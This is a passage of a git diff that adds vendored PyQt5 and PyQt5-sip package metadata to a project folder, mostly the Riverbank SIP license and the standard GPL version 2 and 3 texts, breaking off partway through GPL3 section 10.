+PyQt5_Qt5-5.15.2.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 +PyQt5_Qt5-5.15.2.dist-info/LICENSE,sha256=IATuPvgoKoX329A136z2PPA9VpU3vAhlX_6xQOo2ccU,44738 +PyQt5_Qt5-5.15.2.dist-info/METADATA,sha256=PkFIKgS5amRlPGMkYvOqcJxBKu4TFUe4WykQc_w-9rA,552 +PyQt5_Qt5-5.15.2.dist-info/RECORD,, +PyQt5_Qt5-5.15.2.dist-info/WHEEL,sha256=HvbHOnfIIFGyPVIOEbfOdnEmUOBRPrAzrHWhdC-8b8M,95 +PyQt5_Qt5-5.15.2.dist-info\RECORD,, diff --git a/OTHERS/Jarvis/ools/PyQt5_Qt5-5.15.2.dist-info/WHEEL b/OTHERS/Jarvis/ools/PyQt5_Qt5-5.15.2.dist-info/WHEEL new file mode 100644 index 00000000..a54f4422 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5_Qt5-5.15.2.dist-info/WHEEL @@ -0,0 +1,4 @@ +Wheel-Version: 1.0 +Generator: pyqt-qt-wheel +Root-Is-Purelib: false +Tag: py3-none-win_amd64 diff --git a/OTHERS/Jarvis/ools/PyQt5_sip-12.9.1.dist-info/INSTALLER b/OTHERS/Jarvis/ools/PyQt5_sip-12.9.1.dist-info/INSTALLER new file mode 100644 index 00000000..a1b589e3 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5_sip-12.9.1.dist-info/INSTALLER @@ -0,0 +1 @@ +pip diff --git a/OTHERS/Jarvis/ools/PyQt5_sip-12.9.1.dist-info/LICENSE b/OTHERS/Jarvis/ools/PyQt5_sip-12.9.1.dist-info/LICENSE new file mode 100644 index 00000000..9406c308 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5_sip-12.9.1.dist-info/LICENSE @@ -0,0 +1,49 @@ +RIVERBANK COMPUTING LIMITED LICENSE AGREEMENT FOR SIP + +1. This LICENSE AGREEMENT ("the SIP License") is between Riverbank Computing +Limited ("Riverbank"), and the Individual or Organization ("Licensee") +accessing and otherwise using SIP software in source or binary form and its +associated documentation. SIP comprises a software tool for generating Python +bindings for software C and C++ libraries, and a Python extension module used +at runtime by those generated bindings. This License Agreement may also be +applied to other software packages written by Riverbank. + +2. Subject to the terms and conditions of this License Agreement, Riverbank +hereby grants Licensee a nonexclusive, royalty-free, world-wide license to +reproduce, analyze, test, perform and/or display publicly, prepare derivative +works, distribute, and otherwise use SIP alone or in any derivative version, +provided, however, that Riverbank's License Agreement and Riverbank's notice of +copyright, e.g., "Copyright (c) 2015 Riverbank Computing Limited; All Rights +Reserved" are retained in SIP alone or in any derivative version prepared by +Licensee. + +3. In the event Licensee prepares a derivative work that is based on or +incorporates SIP or any part thereof, and wants to make the derivative work +available to others as provided herein, then Licensee hereby agrees to include +in any such work a brief summary of the changes made to SIP. + +4. Licensee may not use SIP to generate Python bindings for any C or C++ +library for which bindings are already provided by Riverbank. + +5. Riverbank is making SIP available to Licensee on an "AS IS" basis. +RIVERBANK MAKES NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED. BY WAY +OF EXAMPLE, BUT NOT LIMITATION, RIVERBANK MAKES NO AND DISCLAIMS ANY +REPRESENTATION OR WARRANTY OF MERCHANTABILITY OR FITNESS FOR ANY PARTICULAR +PURPOSE OR THAT THE USE OF SIP WILL NOT INFRINGE ANY THIRD PARTY RIGHTS. + +6. RIVERBANK SHALL NOT BE LIABLE TO LICENSEE OR ANY OTHER USERS OF SIP FOR ANY +INCIDENTAL, SPECIAL, OR CONSEQUENTIAL DAMAGES OR LOSS AS A RESULT OF MODIFYING, +DISTRIBUTING, OR OTHERWISE USING SIP, OR ANY DERIVATIVE THEREOF, EVEN IF +ADVISED OF THE POSSIBILITY THEREOF. + +7. This License Agreement will automatically terminate upon a material breach +of its terms and conditions. + +8. Nothing in this License Agreement shall be deemed to create any relationship +of agency, partnership, or joint venture between Riverbank and Licensee. This +License Agreement does not grant permission to use Riverbank trademarks or +trade name in a trademark sense to endorse or promote products or services of +Licensee, or any third party. + +9. By copying, installing or otherwise using SIP, Licensee agrees to be bound +by the terms and conditions of this License Agreement. diff --git a/OTHERS/Jarvis/ools/PyQt5_sip-12.9.1.dist-info/LICENSE-GPL2 b/OTHERS/Jarvis/ools/PyQt5_sip-12.9.1.dist-info/LICENSE-GPL2 new file mode 100644 index 00000000..91c52c91 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5_sip-12.9.1.dist-info/LICENSE-GPL2 @@ -0,0 +1,344 @@ +------------------------------------------------------------------------- + + GNU GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1989, 1991 Free Software Foundation, Inc. + 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +License is intended to guarantee your freedom to share and change free +software--to make sure the software is free for all its users. This +General Public License applies to most of the Free Software +Foundation's software and to any other program whose authors commit to +using it. (Some other Free Software Foundation software is covered by +the GNU Library General Public License instead.) You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if you +distribute copies of the software, or if you modify it. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must give the recipients all the rights that +you have. You must make sure that they, too, receive or can get the +source code. And you must show them these terms so they know their +rights. + + We protect your rights with two steps: (1) copyright the software, and +(2) offer you this license which gives you legal permission to copy, +distribute and/or modify the software. + + Also, for each author's protection and ours, we want to make certain +that everyone understands that there is no warranty for this free +software. If the software is modified by someone else and passed on, we +want its recipients to know that what they have is not the original, so +that any problems introduced by others will not reflect on the original +authors' reputations. + + Finally, any free program is threatened constantly by software +patents. We wish to avoid the danger that redistributors of a free +program will individually obtain patent licenses, in effect making the +program proprietary. To prevent this, we have made it clear that any +patent must be licensed for everyone's free use or not licensed at all. + + The precise terms and conditions for copying, distribution and +modification follow. + + GNU GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License applies to any program or other work which contains +a notice placed by the copyright holder saying it may be distributed +under the terms of this General Public License. The "Program", below, +refers to any such program or work, and a "work based on the Program" +means either the Program or any derivative work under copyright law: +that is to say, a work containing the Program or a portion of it, +either verbatim or with modifications and/or translated into another +language. (Hereinafter, translation is included without limitation in +the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running the Program is not restricted, and the output from the Program +is covered only if its contents constitute a work based on the +Program (independent of having been made by running the Program). +Whether that is true depends on what the Program does. + + 1. You may copy and distribute verbatim copies of the Program's +source code as you receive it, in any medium, provided that you +conspicuously and appropriately publish on each copy an appropriate +copyright notice and disclaimer of warranty; keep intact all the +notices that refer to this License and to the absence of any warranty; +and give any other recipients of the Program a copy of this License +along with the Program. + +You may charge a fee for the physical act of transferring a copy, and +you may at your option offer warranty protection in exchange for a fee. + + 2. You may modify your copy or copies of the Program or any portion +of it, thus forming a work based on the Program, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices + stating that you changed the files and the date of any change. + + b) You must cause any work that you distribute or publish, that in + whole or in part contains or is derived from the Program or any + part thereof, to be licensed as a whole at no charge to all third + parties under the terms of this License. + + c) If the modified program normally reads commands interactively + when run, you must cause it, when started running for such + interactive use in the most ordinary way, to print or display an + announcement including an appropriate copyright notice and a + notice that there is no warranty (or else, saying that you provide + a warranty) and that users may redistribute the program under + these conditions, and telling the user how to view a copy of this + License. (Exception: if the Program itself is interactive but + does not normally print such an announcement, your work based on + the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Program, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Program, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program +with the Program (or with a work based on the Program) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may copy and distribute the Program (or a work based on it, +under Section 2) in object code or executable form under the terms of +Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of Sections + 1 and 2 above on a medium customarily used for software interchange; or, + + b) Accompany it with a written offer, valid for at least three + years, to give any third party, for a charge no more than your + cost of physically performing source distribution, a complete + machine-readable copy of the corresponding source code, to be + distributed under the terms of Sections 1 and 2 above on a medium + customarily used for software interchange; or, + + c) Accompany it with the information you received as to the offer + to distribute corresponding source code. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form with such + an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for +making modifications to it. For an executable work, complete source +code means all the source code for all modules it contains, plus any +associated interface definition files, plus the scripts used to +control compilation and installation of the executable. However, as a +special exception, the source code distributed need not include +anything that is normally distributed (in either source or binary +form) with the major components (compiler, kernel, and so on) of the +operating system on which the executable runs, unless that component +itself accompanies the executable. + +If distribution of executable or object code is made by offering +access to copy from a designated place, then offering equivalent +access to copy the source code from the same place counts as +distribution of the source code, even though third parties are not +compelled to copy the source along with the object code. + + 4. You may not copy, modify, sublicense, or distribute the Program +except as expressly provided under this License. Any attempt +otherwise to copy, modify, sublicense or distribute the Program is +void, and will automatically terminate your rights under this License. +However, parties who have received copies, or rights, from you under +this License will not have their licenses terminated so long as such +parties remain in full compliance. + + 5. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Program or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Program (or any work based on the +Program), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Program or works based on it. + + 6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives a license from the +original licensor to copy, distribute or modify the Program subject to +these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 7. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Program at all. For example, if a patent +license would not permit royalty-free redistribution of the Program by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under +any particular circumstance, the balance of the section is intended to +apply and the section as a whole is intended to apply in other +circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system, which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 8. If the distribution and/or use of the Program is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Program under this License +may add an explicit geographical distribution limitation excluding +those countries, so that distribution is permitted only in or among +countries not thus excluded. In such case, this License incorporates +the limitation as if written in the body of this License. + + 9. The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of this License which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +this License, you may choose any version ever published by the Free Software +Foundation. + + 10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + + NO WARRANTY + + 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + + 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; if not, write to the Free Software + Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + + +Also add information on how to contact you by electronic and paper mail. + +If the program is interactive, make it output a short notice like this +when it starts in an interactive mode: + + Gnomovision version 69, Copyright (C) year name of author + Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, the commands you use may +be called something other than `show w' and `show c'; they could even be +mouse-clicks or menu items--whatever suits your program. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the program, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the program + `Gnomovision' (which makes passes at compilers) written by James Hacker. + + , 1 April 1989 + Ty Coon, President of Vice + +This General Public License does not permit incorporating your program into +proprietary programs. If your program is a subroutine library, you may +consider it more useful to permit linking proprietary applications with the +library. If this is what you want to do, use the GNU Library General +Public License instead of this License. + +------------------------------------------------------------------------- diff --git a/OTHERS/Jarvis/ools/PyQt5_sip-12.9.1.dist-info/LICENSE-GPL3 b/OTHERS/Jarvis/ools/PyQt5_sip-12.9.1.dist-info/LICENSE-GPL3 new file mode 100644 index 00000000..de2dcce5 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5_sip-12.9.1.dist-info/LICENSE-GPL3 @@ -0,0 +1,678 @@ +------------------------------------------------------------------------- + + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, 